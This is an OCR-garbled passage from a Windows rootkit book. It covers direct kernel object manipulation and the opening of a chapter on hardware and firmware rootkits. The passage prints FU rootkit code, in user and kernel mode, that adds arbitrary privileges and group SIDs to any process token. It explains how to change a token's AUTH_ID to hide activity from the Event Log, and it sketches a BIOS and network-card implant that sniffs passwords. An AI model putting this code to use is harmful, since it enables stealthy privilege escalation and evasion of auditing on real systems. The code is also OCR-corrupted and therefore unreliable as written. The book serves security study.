
(1] Process Explorer may be found at: www.sysinternals.com/ntw2k/freeware/procexp.shtml

Figure 7-5. Security settings contained in a process's token.



® euplorer.exe:1048 Properties =10] x|
Pesformance Graph | Threads | TCP/IP  Security IEnwmwnam] Stiings | A

| Group | Flags |
(= =0 |BUILTIN\Administrators Dwener
BUILTIN\Users Mandatory
Evervone M andatory
HBG-w2K5-0\Mone Mandatory
LOCAL Mandatary
Logon 51D [5-1-550-67117) Mandatary

NT AUTHORITY\Authenticated Users Mandatory
NT AUTHORITYAINTERACTIVE Mandatony

Privilege | Flags 5
SeBackupPiivilege Disabled
EeEhangeNﬂhfyF'nwlege Default Enabled
SelreatePagefie - Dizabled

SeDebugPmvilege Disabled

SelncreaseB asePriortyPrivilege Dizabled
SelncreasefuotaPriviege Disabled

SeloadDnverPrivilege

SeProfileSingleProcessPrivilege  Disabled
SeRemoteShutdownPiivieae  Disabled ]

oK Cancel

The fact that many privileges are disabled by default when atoken is created will prove useful in order
to add privileges and groups to a process token. The reason is that when overwriting memory directly,
you must be extremely careful. Y ou cannot ssmply grow the token in size, because you do not know
what is contained in the memory directly following the process's token. For all you know, that memory
may not even be avalid region. By enabling or overwriting privileges that are already contained in the
token but are disabled, you can avoid increasing the token's size. We will come back to this point in a
moment.

Rootkit.com

Aswith most of the source code in this chapter, you can download the following code in the
form of the FU rootkit from: www.rootkit.com/vault/fuzen_op/FU_Rootkit.zip

The following code is main() in the userland program. It receives the -prs (Privilege Set) option from the
user, the PID of the target process, and the privileges to add to the token. For example, fu -prs 8
SeDebugPri vi | ege SeShut downPri vi | ege will add the Debug and Shutdown privileges to the token of
the process with PID 8. We create an array of the length of the number of command-line arguments



minus three (for fu, -prs, and the PID). Each element of the array is 32 byteslong (we do not know the
length of every possible privilege, but 32 seemsto be more than large enough for all privileges currently
possible). We then pass the PID, priv_array, and size of the array to the SetPriv function, which does the
rest of the user-level work.

void main(int argc, char **argv)

{
int i = 25;
if (argc > 1)
{
if (InitDriver() == -1)
return;

if (strcnp((char *)argv[1l], "-prl") == 0)
ListPriv();
else if (strcnp((char *)argv[1l], "-prs") == 0)
{
char *priv_array = NULL
DWORD pid = O;
if (argc > 2)
pid = atoi(argv[2]);
priv_array = (char *)calloc(argc-3, 32);
if (priv_array == NULL)
{
fprintf(stderr, "Failed to allocate nenory!\n");
return;
}
int size = 0,

for(int i = 3; I < argc; i++)



if(strncnp(argv[i], "Se", 2) == 0)

{
strncpy((char *)priv_array + ((i-3)*32), argv[i], 31);

Si ze++;

}
SetPriv(pid, priv_array, size*32);
if(priv_array)

free(priv_array);

In the preceding code, we check whether each new privilege name beginswith “Se," which istrue for
every valid privilege. Next, we copy the valid new privilegesinto an array and call the SetPriv function,
which will eventually communicate with the rootkit driver using an IOCTL.

SetPriv() allocates and initializesan array of LUID_AND_ATTRIBUTES. Every privilege named in the
list shown earlier in this subsection has a corresponding LUID (Locally Unique Identifier). Because
these LUIDs are locally unique, we cannot hard-code them into our rootkit. LookupPrivilegeValue()
takes the name of the system in which to look up the privilege value, which in our caseis NULL; the
name of the privilege passed to the user program from the command line; and a pointer for receiving the
LUID vaue. Note that according to the Microsoft SDK, "An LUID is a 64-hit value guaranteed to be
unigue only on the system on which it was generated,” but it is not guaranteed to remain constant
between reboots.

The attributes define whether a privilege associated with agiven LUID is enabled or disabled. The mere
fact that a privilege is present in atoken does not mean the process has that privilege. A privilege may
be in one of three states, as specified by its attribute:

» #defineSE_PRIVILEGE_DISABLED (0x00000000L)

« #defineSE_PRIVILEGE_ENABLED BY_DEFAULT (0x00000001L)

« #defineSE_PRIVILEGE_ENABLED (0x00000002L )



SetPriv() createsan array of LUID_AND_ATTRIBUTES to passto the driver. Hereis an example of the
LUID_AND_ATTRIBUTESstructure:

typedef struct _LU D _AND ATTRI BUTES {
LUD  Luid;
DWORD Attri butes;

} LU D_AND_ATTRI BUTES, *PLU D_AND ATTRI BUTES;

Setting the LUID member to the value returned by L ookupPrivilegeValue and setting the Attribute to
SE PRIVILEGE ENABLED BY_ DEFAULT initializesthe array appropriately, making it ready to be
passed to the rootkit. We do so using the Devicel oControl function with the
IOCTL_ROOTKIT_SETPRIV parameter:

DWORD Set Pri v(DWORD pid, void *priv_luids, int priv_size)
{
DWORD d_byt esRead,;
DWORD success;
PLU D_AND _ATTRI BUTES pl ui d_array;
LU D pl ui d;
VARS dvars;
if (!Initialized)
return ERROR_NOT_READY;
if (priv_luids == NULL)
return ERROR_| NVALI D_ADDRESS;
pluid array = (PLU D AND ATTRI BUTES) cal |l oc(priv_size/ 32,
si zeof (LU D_AND_ATTRI BUTES) ) ;
i f (pluid_array == NULL)

return ERROR_NOT_ENOUGH MEMORY;



DWORD real luid = 0;
for (int i =0; i < priv_sizel32; i++)
{
i f (LookupPrivil egeVal ue(NULL, (char *)priv_luids + (i*32),

&pl ui d))

menmcpy(pl uid_array+i, &pluid, sizeof(LUD));
*(pluid_array+i)).Attributes = SE PR VI LEGE ENABLED BY DEFAULT;

real | uid++

}

dvars.the pid = pid;

dvars.pluida = pluid_array;

dvars.numluids = real |uid;

success = Devi cel oControl (gh_Devi ce,
| OCTL_ROOTKI T_SETPRI 'V,
(void *) &dvars,
si zeof (dvars),
NULL,
0,
&d byt esRead,
NULL) ;

i f(pluid_ array)

free(pluid_array);

return success;



The kernel code contains the handler for the IOCTL_ROOTKIT_SETPRIV IOCTL. It receivesthe array
of LUID_AND_ATTRIBUTES and the PID of the process to which they are to be added. It calls
FindProcessEPROC to locate the EPROCESS structure with the corresponding PID, and
FindProcessToken to locate the address of the process token.

Now that we have the token, we need to get the size of the current LUID_AND_ATTRIBUTES array
contained in the token. We do this by reading the value contained at the privilege-count offset. This
value will be very important soon (see the for loops in the upcoming code).

Next, we get the address of the start of the LUID_AND_ATTRIBUTES array. Remember that atokenis
composed of afixed-length part and a variable-length part. The beginning of the
LUID_AND_ATTRIBUTES array isthe beginning of the variable-length part of the token. Both parts
are contiguous in memory.

With the address of the LUID_AND_ATTRIBUTES array in the token, the privilege count, and the new
LUID_AND_ATTRIBUTESto add, we can continue to look at the following rootkit code. We cannot
allocate new memory for our new privileges, and we cannot grow the token (since the memory location
following the token may not be valid).

Recall that, as shown in the output from Process Explorer in Figure 7-5, most of the privileges present
in atypical token are disabled. Why do we need to keep disabled privileges around?

Theideaisto turn aprivilege on if it matches one of the LUID_AND_ATTRIBUTES passed down to
the rootkit, or to overwrite a disabled privilege with arequested one if the existing privilegeis not a
member of thenew LUID_AND_ATTRIBUTES array. To do this, we have created two sets of nested
for loops. Thefirst for loop examines every privilege that was passed to the rootkit, and if it matches a
privilege already contained in the token, it sets the attribute to enabled. The second for loop is used if
the privilege is not found in the token but there are other disabled privileges that we can overwrite.
Using this algorithm, you can add privileges to the token without using more memory.

/1 If the new privilege already exists in the token, just change its
Il Attribute field.
for (luid attr_count = 0; luid attr_count < d_PrivCount;

luid _attr_count ++)

for (d_LuidsUsed = 0; d _LuidsUsed < nluids; d_LuidsUsed++)

{
i f((luids attr[d LuidsUsed].Attributes != Oxffffffff) &&



(mencnp(& uids_attr_orig[luid attr_count]. Luid,
& uids attr[d LuidsUsed].Luid, sizeof (LUD)) == 0))
{
(PLU D_AND ATTRIBUTES)l uids_attr_orig)[luid attr_count].Attributes =

((PLU D_AND ATTRI BUTES) |l uids_attr)[d _LuidsUsed]. Attri butes;

((PLU D_AND_ATTRI BUTES) | ui ds_attr)[d_Lui dsUsed]. Attributes = Oxfffffffi

}

}

/'l Ckay, we did not find one of the new Privileges in the set of existi
/'l privileges, so we find other disabled privileges and
/] overwite them
for (d_LuidsUsed = 0; d LuidsUsed < nluids; d_LuidsUsed++)
{

if (((PLU D _AND ATTRI BUTES) |l uids _attr)[d LuidsUsed].Attributes !=
Oxffffffff)

{

for (luid_ attr _count = 0; luid attr_count < d_PrivCount;

| ui d_attr_count ++)
{
/1 1f the privilege was di sabl ed anyway, it was not needed,
/'l so we reuse its space for new privileges we want
/1l to add. W may not be able to add all the privileges we re

/'l because of space |imtations, so we should organize the ne\



/'l privileges in decreasing order of inportance.

i f((luids attr[d LuidsUsed].Attributes != Oxffffffff) &&

(((PLU D_AND ATTRIBUTES) luids_attr_orig)[luid attr_count].

Attributes == 0x00000000))

{

((PLU D_AND ATTRIBUTES) |l uids_attr_orig)[luid_attr_count].Luid =
((PLUI D_AND ATTRI BUTES) | uids_attr)[d_Lui dsUsed] . Lui d;

((PLU D _AND ATTRIBUTES)luids_attr _orig)[luid attr_count].Attributes =

((PLU D_AND ATTRIBUTES)l uids_attr)[d_Lui dsUsed].Attri butes;

((PLU D_AND ATTRIBUTES) |l uids_attr)[d _LuidsUsed].Attributes =

Oxffffffff;
}
}
}
}
br eak;

Adding SIDs to a Process Token

Adding SIDsto atoken is the most difficult modification we can make. Because of the space limitations
mentioned in the preceding subsections, you will need to follow the basic algorithm of using the
disabled privileges already present in a process token as placeholders for the new SIDs.

The process token contains more information about a SID than just the SID itself. For example, thereis
atableof SID_AND_ATTRIBUTES structures, much like the table relating to privileges. Thefirst
member of that structure is simply a pointer to the SID in memory. To add a SID to atoken, you will
need to add one more entry to the SID_AND_ATTRIBUTE table, add the SID itself, and recalculate al
the pointers in the table to compensate for the changes you have made in memory.



Hereisthe SID_AND_ATTRIBUTE structure:

t ypedef struct _SID AND ATTRI BUTES ({
PSI D Si d;
DWORD Attributes;

} SI D_AND_ATTRI BUTES, *PSI D_AND_ATTRI BUTES;

In order to keep things clear, it is best to start with a clean space of memory the same size as the variable
portion of the token. Y ou can allocate this space in the paged pool for now. When you are finished, you
will copy it back over the existing variable portion of the token and free the scratch space. Y ou will also
need the counts of privileges and SIDs, the locations of SID and privilege tables, and the beginning and
size of the variable part of the token.

Given the address of the token, the following code initializes these required variables and allocates the
scratch space:

i _PrivCount

*(int *)(token + PRI VCOUNTOFFSET);

i _Si dCount = *(int *)(token + SI DCOUNTOFFSET) ;

luids_attr_orig *( PLU D_AND_ATTRI BUTES *) (t oken + PRI VADDROFFSET) ;

var begi n = (PVOD) luids_attr_orig;

I _Vari abl eLen *(int *)(token + PRI VCOUNTOFFSET + 4);

sid _ptr_old = *(PSI D_AND _ATTRI BUTES *) (t oken + S| DADDROFFSET) ;
[l This wll be our tenporary workspace.
varpart = ExAl | ocat ePool (PagedPool, i _Vari abl eLen);

i f (varpart == NULL)
{
| oSt at us- >St at us = STATUS_| NSUFFI Cl ENT_RESCOURCES;

br eak;



Rt | ZeroMenory(varpart, i _Variabl eLen);

Next, the rootkit frees up memory in the token by copying only the enabled privileges to the temporary
workspace, varpart. If you keep a count of the privileges copied over, you will know exactly how much
space was freed up.

The situation could arise in which the amount of room freed in the token is not enough to hold the new
SID anditsSID_AND_ATTRIBUTES structure. In such a case, you have afew choices. Y our rootkit
could simply return an error stating that there are insufficient resources in the token to add aSID. The
following code does this.

Alternatively, you could overwrite some of the enabled privileges with the new SID. This could have
adverse effects, however. If you overwrite aprivilege in the token that is needed by a process, the
process may no longer function properly.

Also, since Windows 2000 it has been possible for restricted SIDs to exist at the end of the variable
portion of atoken. The function of theseisto explicitly restrict certain users or groups from being able
to take certain actions. Although they arerarely if ever used, it is possible for restricted SIDs to be
present. Like adisabled privilege, arestricted SID is not of much value to your process token, so you
can modify the algorithm to also reclaim space used by restricted SIDs.

/1 Copy only the enabled privileges. W will overwite the

/1 disabled privileges to make room for the new SID.

for(luid attr_count=0;luid _attr_count<i PrivCount; luid attr_count +

{
I f(((PLU D_AND ATTRI BUTES) varbegin)[luid attr_count].Attri butes
I = SE_PRI VI LEGE_DI SABLED)

{
((PLUI D_AND ATTRI BUTES) varpart)[i _Lui dsUsed] . Luid =

((PLU D_AND ATTRI BUTES) varbegin)[luid_attr_count]. Lui d;
((PLU D_AND ATTRIBUTES)varpart)[i_LuidsUsed].Attributes =
((PLU D_AND ATTRI BUTES)varbegin)[luid attr_count].Attri butes;

I _Lui dsUsed++;



}

/1l Calculate the space we need within the existing token.

| _spaceNeeded = i _Si dSize + sizeof (SID AND ATTRI BUTES);
I _spaceSaved = (i _PrivCount - i _LuidsUsed)* sizeof (LU D AND ATTRII
| _spaceUsed = i _LuidsUsed * sizeof (LU D_AND ATTRI BUTES) ;

/[l There is not enough roomfor the new SID. Note: W are ignoring
/[l any restricted SIDs. They may al so be a portion of the
/'l variable-length part.

if (i_spaceSaved < i_spaceNeeded)

{
ExFr eePool (varpart);
| oSt at us->St at us = STATUS | NSUFFI Cl ENT_RESOURCES;
br eak;

}

The following code copies al the existing SID_AND_ATTRIBUTES structures into the temporary
workspace. The for loop walks through the table, making the proper adjustments to the pointersto the
SIDs.

Rt | CopyMenory( (PVO D) (( DWORD) var part +i _spaceUsed),
(PVO D) (( DWORD) var begin + (i _PrivCount *
si zeof (LU D_AND _ATTRI BUTES))), i _SidCount *
si zeof (SI D_AND_ATTRI BUTES) ) ;
for (sid count = 0; sid count < i_SidCount; sid_count++)

{



((PSI D_AND _ATTRI BUTES) ( ( DWORD) var part +(i _spaceUsed)))[sid count].Sid =
(PSID (((DWRD) sid ptr_old[sid count].Sid) - ((DWRD) i_spaceSaved) +

( ( DWORD) si zeof (S| D_AND_ATTRI BUTES))) ;

((PSI D_AND ATTRI BUTES) ( ( DWORD) var part +(i _spaceUsed)))[sid_count]

Attributes = sid ptr_old[sid count].Attri butes;

}

You still need to set up thenew SID_AND_ATTRIBUTES entry properly. Set its Attribute field to
0x00000007 to make the new SID mandatory. Since you are adding the new SID at the end of the
existing SIDs, you must calculate the length of the final SID. Do this by taking the address of the start of
thefinal SID, found inthelast SID_AND_ATTRIBUTES entry, and subtract it from the total length of
the variable portion of the token. (We ignore the potential presence of restricted SIDs in this token.)
With the length of the final SID before the modification, you can calculate the value of the pointer to the
new SID:

/'l Set up the new SI D AND _ATTRI BUTES properly.

Si zeOr Last Si d

(DWORD) var begin + i _Vari abl eLen;

Si zeOf Last Si d Si zeO Last Sid - ( DWORD)

((PSI D_AND_ATTRI BUTES) si d_ptr_ol d)[i _Si dCount - 1] . Si d;

((PSI D_AND ATTRI BUTES) ( ( DWORD) var part +(i _spaceUsed)))[i _SidCount].Sid -
(PSI D) (( DAORD) ( (PSI D_AND_ATTRI BUTES)
(( DWORD) var part +(i _spaceUsed)))[i_SidCount-1].Sid

+ SizeO Last Sid);

((PSI D_AND ATTRI BUTES) ( ( DWNORD) var part +(i _spaceUsed)))[i _Si dCount]. Att

0x00000007;



Y ou are almost finished. Copy the scratch space, varpart, into the existing token. Now your rootkit has
added all the enabled privilegesand all the SID_AND_ATTRIBUTES entries. Just copy the new SID
into place at the end of the previously existing SIDs:

/'l Copy the old SIDs, but make room for the new
/1 SI D_AND ATTRI BUTES

Si zeOF d dSi ds

(DWORD) var begi n + i _Vari abl eLen;

Si zeOF A dSi ds SizeOFd dSi ds - ( DWORD)

((PSI D_AND ATTRI BUTES)sid_ptr_ol d)[0]. Sid;
Rt | CopyMenory( (VO D UNALI GNED *) (( DWORD) var part +
(i _spaceUsed) +( (i _Si dCount +1) *
si zeof (SI D_AND ATTRI BUTES))),
( CONST VO D UNALI GNED*)
(( DWORD) var begi n+(i _PrivCount *
si zeof (LU D_AND_ATTRI BUTES)) +(i _Si dCount *
si zeof (SI D_AND ATTRI BUTES))), SizeOf O dSids);
/'l Copy the new stuff right over the old data.
Rt | Zer oMenory(varbegin, i_Variabl eLen);
Rt | CopyMenory(varbegin, varpart, i _Variabl eLen);
/'l Copy the new SID at the end of the old SIDs.
Rt | CopyMenory(((PSI D_AND _ATTRI BUTES) ( ( DWORD) var begi n +

(i _spaceUsed)))[i_SidCount].Sid, psid, i_SidSize);

The only steps remaining are to fix the counts and pointersin the static portion of the token, and to free
the memory corresponding to the scratch space. Since you changed the number of SIDs and privilegesin



the token, you need to modify their offsets. The location of the LUID_AND_ATTRIBUTE table does
not change because it is at the beginning of the variable part, but the pointer to the
SID_AND_ATTRIBUTE table needs to be updated since you moved it in memory:

/'l Fix the token back up.
*(int *)(token + SI DCOUNTOFFSET) += 1;
*(int *)(token + PRI VCOUNTOFFSET) = i _Lui dsUsed,;
*(PSI D_AND_ATTRI BUTES *) (token + S| DADDROFFSET) =
(PSI D_AND ATTRI BUTES) ( ( DWORD) varbegin + (i _spaceUsed));
ExFr eePool (varpart);

br eak;

Now your rootkit has the power to add any privilege and any group SID to any process on the system.
But adding SIDs has an interesting consequence when it comes to forensics. We discuss this
ramification in the next section.

Faking out the Windows Event Viewer

Although you now know how to hide processes and gain elevated access, you do not know who is
watching while you do these things. There are many different ways administrators can detect process
creation. In the kernel, security software can even register a call-back function in the event of process
creation. (Even thisis subvertible, but we will not go into detail on that in this book.)

Thereisan easier way asavvy system administrator can determine what is happening on the machine.
She can turn on detailed process logging. If thisis done, the creation of new processes will be noted in
the Windows Event Log. The log will include the name of the process being created, the parent PID, and
the username that owns the parent process, and hence created the new process. In this section, we
present a modification to the token to make thisidentification in the Event Log more difficult to detect.

At offset 0x18 within the process token isan LUID called the Authentication ID or AUTH_ID. (This
offset does not change across versions of the OS.) Although LUIDs are supposed to be unique, some are
hard-coded in the DDK in an .hfile. They are:

 #define SYSTEM_LUID 0x000003e7; // { 0x3e7, 0x0 }

« #define ANONYMOUS LOGON_LUID 0x000003e6; // { 0x3e6,0x0 }

o #define LOCALSERVICE_LUID 0x000003€5; // { 0x3e5, 0x0 '}



 #define NETWORKSERVICE_LUID 0x000003e4; // { 0x3e4, 0x0 }

We can changethe AUTH_ID in any process we choose to one of these well-known LUIDs. The
AUTH_ID isunique for each log-on or session. The system uses them at times to associate a number
with an individual log-on session, which has an account name.

WARNING: Be careful when you modify the AUTH_ID of aprocesstoken. If you changeit to an

LUID that does not have a corresponding log-on session, the Windows box will present a Blue Screen of
Degth!

If detailed process tracking is enabled, for every process created an event will be recorded in the Event
Log that looks something like that shown in Figure 7-6 .

Figure 7-6. Process-creation event in the Event Viewer.
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In the Description portion of Figure 7-6 , the username is Administrator, which iswhom | waslogged in
as at the time; the domain is HBG-W2K S-0; and the Log-on ID (that is, the AUTH_ID) is 0x,0x1066C.
This event log says the Administrator, the identity derived from the AUTH_ID, started the regedt32.exe
Process.

Now let ustake alook at what the Event Viewer reports after we modify the parent process's token to
changeits AUTH_ID to the System LUID (0x3E7, 0x0), and its owner SID to the System SID. The
owner SID isthefirst SID in the token group of SIDs. Y ou learned in the preceding section how to
change the token SIDs. Again, we will launch regedt32.exe from the cmd.exe process. The resulting
Event Log entry is shown in Figure 7-7 .



Figure 7-7. Process creation event after modifying the AUTH_ID and owner SID.
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Thistime, the Event Viewer reports different information. In the description portion, the user nameis
said to be HBG-W2K S-0$, which isthe alias for the System. The Log-on ID isthe same as what we set
the AUTH_ID to. Using this technigque, your rootkit can make any process on the computer appear to

belong to another user.



Conclusion

In this chapter, you learned how to modify some of the very objects the kernel relies upon for its
bookkeeping and reporting. Y our rootkit can now hide a process and modify its access privileges so that
when you return you have all the power of System. These DKOM tricks are very difficult to detect and
extremely powerful! However, they also provide ample opportunity to crash the whole machine.

DKOM isnot limited to just the uses presented here. Y ou could also use DKOM to hide network ports
by modifying the tables of open ports maintained by TCPIP.SY S for bookkeeping, to name just one
example.

When seeking to modify kernel objects and reverse engineer where they are used, Softlce, WinDbg, IDA
Pro, and the Microsoft Symbol Server are invaluable tools.



Chapter 8. Hardware Manipulation

Throughout your life, advance daily, becoming more skillful than yesterday, more skillful than
today. Thisis never-ending.

HAGAKURE
A scenario:

The intruder slips along the wall toward a janitor cart resting at the end of the hall. Hiseyesare
on a set of keys. A quick look around the corner; good, the janitor is down the hall cleaning a
doctor's office. The intruder gently lifts the key chain and dashes back into the dark hallway.
Around a corner, stopping at a door, he tries the lock. This doesn't take long. Once the door is
open, he sneaks back to the cart and replaces the keys.

The office is dark except for a computer terminal in the back. After moving the monitor and
keyboard to the floor, he sitsin the crook of the desk. Thisis a good spot; his actions are not
visible to anyone in the hall.

The login screen islocked, but it doesn't matter. The intruder removes a CD-ROM from his jacket,
inserts it into the machine, and hard-reboots the workstation. The machine promptly reboots and
displays: Press any key to boot from CD. . . ." Theintruder taps the spacebar. The rootkit that's on
the CD infects the BIOS of this workstation, and also modifies the Ethernet card. It's nothing fancy
thistime, just a password sniffer. But it will stay here for a long time, even if the "oh-so-
intelligent” IT staff re-installs Windows. The intruder smiles: This workstation is " owned."

About 30 minutes later, everything is back where it was and the computer is freshly rebooted into
Windows. The victimwill not notice that the machine has been rebooted. This workstation isa
plain-vanilla "Wintel" box, like millions of othersin the world. The motherboard is a standard
Intel motherboard and the Ethernet card is a 3Com card with on-board processor. What makes
this workstation important is that it sits on the same switched network as a pair of Sun E10K
servers down the hallservers that manage hundreds of gigabytes of protein research. The data is
worth millions of dollars.

To capture passwords in the real world, this scenario would likely require in-memory kernel
modificationsin addition to hardware specifics. If only the network card were modified, passwords
and/or password hashes might be sniffed. Thistype of rootkit isthere for the long term; if the IT staff
wereto install a newer version of Windows, or even a service pack, the rootkit should keep working.
However, if any sort of kernel-level modifications were made in addition to the firmware modifications,
an OS or service-pack installation could break everything.

Using the BIOS and direct firmware modification is risky business and is very specific to the target
platform. However, the flip side is that with careful planning, such arootkit would be very difficult to
detect. Modifications to the firmwarein a"smart" Ethernet card are a very advanced concept, requiring
very detailed information about the card. This kind of information might be obtained viareverse
engineering, documentation, or insider information. Such modifications don't necessarily need to be
made in place, at the user's work location. They can also be made on intercepted computer shipments.



Dealing with a system at such alow level might seem unnecessary. In many cases, thisistrue. When
dealing with a personal computer, you will have accessto alot of softwaresoftware that is already on
board and running. Much of this software can itself deal with low-level hardware, so you don't have to.
It makes sense to use what is aready there.

But not all computers are "personal computers' as we know them, abounding with numerous software
programs. Many computers are tiny embedded systems that perform small and specific tasks. These
systems are everywhere around usand for the most part, we don't notice them.

An embedded system might consist of only afew microchips and a control program. The machine might
have a small micro-brain to take care of important elements such as stepper motors, voltage regulation,
electric-motor speed, armature movements, little blinking lights, and interfaces to cabling, fiber optics,
and mil-spec serial cables. It stands to reason that somewhere, someplace, there will be a software
control program to drive this mousetrap. Typically, the software rests somewhere within amemory chip,
and isused by acentral processor. The key word is processor: If adevice hasa"little CPU" to keep it
going at night, then we can run software on the device. Because it's controlled by software, a"little
rootkit" can be placed on that device. And then, modifications can be made to the firmware to add
rootkit functions.

In this chapter, we'll take alook at hardware manipulationspecifically, the instructions you need to read
from and write to hardware. We'll also cover some of the factors you need to watch out for in order to
remain undetected. If you need to access hardware in your rootkit, this chapter's for you.



Why Hardware?

Hardware manipulation is a double-edged sword. On the one hand, it puts your rootkit at alayer below
al other things. This means your rootkit has more control and more stealth (it's about as stealthy asyou
can get). Y our options include direct access to peripheral hardware, disk controllers, USB keys,
processors, and firmware memory. On the other hand, hardware is more difficult to work with, and is
inherently very platform-specific. Y our rootkit must be specifically designed for a given piece of
hardware. In other words, the rootkit won't be very portable. The decision to use such technology in a
rootkit should not be made lightly.

If you're going to incorporate hardware access into your rootkit, it's important for you to understand that
firmware isjust very specialized softwareultimately, we are still dealing with a software rootkit. Also
consider that hardware tends to be crankyit wants things done in very specific ways.

Even two devices with the same model number may differ "under the hood." The model number isa
marketing label. Only the serial numbers can really be relied upon when determining which version of
the device you're dealing with. Serial numbers can be traced back to production runs, and small fixes or
modifications are made between runs.

So, before you dive in, ask yourself why you need hardware accessin your rootkit. Isyour goal ssmple or
complex? Simple goals, like making a copy of apacket or flipping a bit here and there, are better for
hardware. A good exampleis ahardware mod that waits until it sees a specific byte sequence in a packet
before it crashes the computer. Complex back-door programs and user shells should be written in
higher-level software (for instance, in kernel or user mode), and should employ hardware tricks
sparingly if at all.

Assuming you've determined that you do need hardware access in your rootkit, read on. We will cover
firmware modification, how to address the hardware, timing problems, and other topics. We will also
craft an example rootkit that can interface with the keyboard controller chip.



Modifying the Firmware

By design, a processor will begin functioning by executing a program stored in memory chips. For
example, a PC executes the BIOS when booted. Hardware systems vary widely, but they all sharea
common fact: somewhere, somehow, bootstrap code must be activated. This bootstrap codeis
sometimes called firmware; it is always non-volatile (that is, it does not get erased when the system is
shut down). If you don't know where to start, go to the boot code.

Considering that firmware is very important for the system operation, arootkit should not remove
existing firmware features. Instead, arootkit should add new features to the existing code (see Figure 8-
1). This can be simple if you reverse-engineer the firmware in a program like IDA-Prolll and you find a
decent place to patch the execution path. The size of firmware memory isrestricted, so if arootkit is not
small enough to fit in the limited amount of unused space, it may need to overwrite some existing
firmware code. If thisisthe case, it is hoped there are some features that are never used, or some data
sections that can be overwritten.

[ www.datarescue.com

Figure 8-1. A rootkit adds new features to existing firmware.

i Processor chip

To place the rootkit into firmware requires writing to the memory chips. (For a PC, the most obvious
place to modify isin the BIOS.) This can be done with an external device, or with on-board software.
An external device requires physical accessto the target. The software approach requires aloader
program. The software loader approach is most commonly applicable to PCs. A software exploit or
Trojan can be used to deliver the loader program. The loader program can then alter the firmware.

If the target device isarouter or an embedded system, aloader program may be difficult to use. Many
hardware devices are not designed to run third-party software and don't have mechanisms for starting
multiple processes. Sometimes the best you can hope for is afirmware-upgrade feature that allows code
to be uploaded.



Accessing the Hardware

Other than being a glorified calculator, software does one thing very well: It moves data from one place
to another. In fact, moving datais sometimes more important than cal culating data. No self-respecting
power user would ignore the speed at which data can move: bus speeds, drive speeds, CPU speeds. It's
all about moving data as quickly as possible.

Most of the hardware on the computer can be controlled with software via moving data and instructions
to and from amicrochip. Most hardware devices have a microchip that can be addressed somewhere.

Hardware Addresses

To move datato and from amicrochip requires an address. Typically these addresses are known ahead
of time and are hard-wired into the system. The address bus consists of many small wires, some of
which are wired to each microchip. So, by specifying an address to write to in memory, you are really
selecting amicrochip.

Once selected, the microchip reads data from the data bus. This microchip then controls the hardware in
question. Figure 8-2 illustrates how a microchip is selected by the address bus, and data is then read
from the data bus.

Figure 8-2. The address bus selects a hardware controller chip; data is then read.
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Most hardware has some sort of controller chip that exposes an addressable memory location,
sometimes called a port. Reading and writing to a port may require special opcode instructions: Some
processors have specia instruction sets that must be used for communicating with ports.



On the x86 architecture, ports are accessed using thei n and out instructions (to read from and write to
the port, respectively). However, some chips are memory-mapped, and can be accessed using the more
common move instructions (mov on the x86).

Regardless of the instruction used, an address will be required. Thisis how the motherboard will know
where to route your data.

Addressing hardware can be complex. Just knowing an address is not enough. The following sections
explain some of the challenges.

Accessing Hardware Is Not Like Accessing RAM

Hardware can behave strangely in that it doesn't operate like normal RAM. If you write to an address
and then read from that address, the value you just wrote is not guaranteed to be read, even though you
are using the same address for both operations. The read operation might be treated entirely differently
than the write operation. Thisis because of latching.

Internal to the chip, alatching mechanism may select between two different registers depending on
whether the operation isaread or awrite. In Figure 8-3, awrite operation writes to Register 2, while a
read operation reads from Register 1.

Figure 8-3. Latching between two registers for read or write operations.
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Timing Considerations

If you are writing to aflash chip, you must be aware that each write operation can take a short time to
complete. If you writein atight loop, you might find that, say, only every fifth byte actually takes the



write operation. Thisis because you aren't waiting long enough for the write to complete before you
move to the next byte. Usually a controller or flash-memory chip will require a short time before it will
accept the next instruction. Thistimeis usually measured in microseconds.

With the Windows kernel, you can use the KeStall ExecutionProcessor call to stall for a given number of
milliseconds.

The I/O Bus

The 1/0O controller chipset isthe heart and soul of the machinery. Understanding how these chips operate
isthe key to getting to any piece of hardware on the system. The CPU (or multiple CPUs) usualy share
asingle bus with the main memory (RAM). But add-on cards and peripheral hardware usually connect
viaa separate bus, and the only way to get to that other busisviaa controller chip (see Figure 8-4).

Figure 8-4. A bridge chip controls access to a secondary, peripheral bus.
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Several buses can be accessed:

« thePCl bus

o the AGP bus

o the APIC bus

o the EISA and |SA bus
« theHyperTransport bus
o the LPC bus

« the Frontside bus



o thel2C bus

Some devices on the bus are able only to respond to requestsinitiated by the CPU. Other devices can
initiate requests independent of the CPU. A devicethat initiates a request is sometimes called an
initiator. Some devices "snoop" all transactions occurring on the bus. A device will "snoop” when it has
alocal memory cache and it needs to detect whether the cached memory address is being modified. For
example, the main memory typically acts as the target of requests, does not initiate requests, and never
snoops the bus. A CPU will act astheinitiator of requests and will aso snoop the bus in case another
CPU or PCI device alters some cached memory.

Figure 8-5 illustrates a typical motherboard layout. This offers a basic template, but it is not the only
way motherboards are configured. Specialized multifunction chips may replace large parts of the
motherboard. For example, the Intel 1/0 Controller Hub (ICH) chips are known as "kitchen sink” I/O
controllers because they do so much. They connect to the PCI bus; can handle USB, IDE, and audio; and
may connect to an additional LPC (low pin count) bus.

Figure 8-5. A typical motherboard layout.

[View full size image]

___________________

_________ . Video Cantraller e ———————
i i ¥
y CPe ¢ 00000 mEmmmmsmssssee g m——— ¥
1 1 N d peesccesssssoas
......... r 1
] 4 # . i
: Il o IDE Contraller
Jr i - T
1 "
i S
N .
pmEEEEEEEEEEEE 1
— Ir TTTETm T : “Soathbrkdge" J
T==a  AGPBu
i i TTTEEET L
——mmmm———— Y
b
%
%
rrTTeTTTTTTTTe ([ e
FCT Bus . \ ISABus
] i L1
[
¥
Fl
i
!
¥
¢ 5
r ¥
& £ ]
¢ ¢ L]
. i []
] r
i ¥ 1
i ) i
¢ & X
) ¥ 'a‘ LY p======y
¥
[ s e e e e ! ;.r o N "'.\IL BIOSG
i “Frontside™ hus ] fl * %, Y  mmmmee=
1 s W " W
B e A e L jmhmmm e e - ,
4 . ! VU sesr ) LD for '
\ “Morhbridge” ! ) i1 Bthemet vy SCS1 x .
H H Y hcmcceed ccceaad ' keyhoard, 1
............. g, !

! mouge, defial o
i

When exploring a system's buses, remember that every controller chip will translate a memory address
on one businto atotally different address on the next bus. Each bus has a bus-specific way of handling
addressing. If you initiate a transaction from a device, it will likely need to be in the format expected on
the bus to which that device attaches.



Accessing the BIOS

For the most part, the BIOS is used only to boot the computer. Modern operating systems make limited
